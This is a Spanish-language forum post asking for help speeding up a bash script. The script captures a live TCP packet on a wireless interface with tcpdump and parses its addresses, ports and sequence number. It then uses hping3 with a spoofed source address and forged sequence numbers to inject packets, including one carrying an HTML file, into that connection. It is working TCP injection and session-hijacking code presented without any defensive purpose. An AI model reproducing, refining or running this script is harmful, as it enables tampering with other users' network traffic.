He hecho est script en bash pero es demasiado lento.....hace muchos accesos a ficheros....
¿me podrian ayudar a optimizarlo?
Código
tcpdump -A -i wlan0 -nvXSs 0 -c1 tcp | grep cksum | grep Flags | head -n 1 | cut -c5-130 > ficheroAux ip1=$(cut -d' ' -f1 ficheroAux | cut -d. -f1-4) port1=$(cut -d' ' -f1 ficheroAux| cut -d. -f5) ip2=$(cut -d: -f1 ficheroAux | cut -d' ' -f2- |cut -d. -f1-4 | cut -c3-15) port2=$(cut -d: -f1 ficheroAux | cut -d. -f9) let seqnum=$(cut -dq -f2 ficheroAux | cut -c2-11 | cut -d, -f1) let seqnumInc=$seqnum+1 hping3 -a $ip2 $ip1 -s $port2 -p $port1 -M 1234567890 -L $seqnumInc -S -A -c 1 let seqnumInc2=$seqnumInc+1 hping3 -a $ip2 $ip1 -s $port2 -p $port1 -M 1234567891 -L $seqnumInc2 -A -c 1 hping3 -a $ip2 $ip1 -s $port2 -p $port1 -M 1234567891 -L $seqnumInc2 -A -P -c 1 -d 500 -E miFichero.html rm ficheroAux
La parte que deberia cambiar son las asignaciones a las variables ip1, ip2, port1, port2 y seqnum
Esas variables deberia llenarlas sin tener que hacer una lectura para cada una de ellas o algo asi....
¿Alguna idea de como hacerlo?
Gracias, un saludo!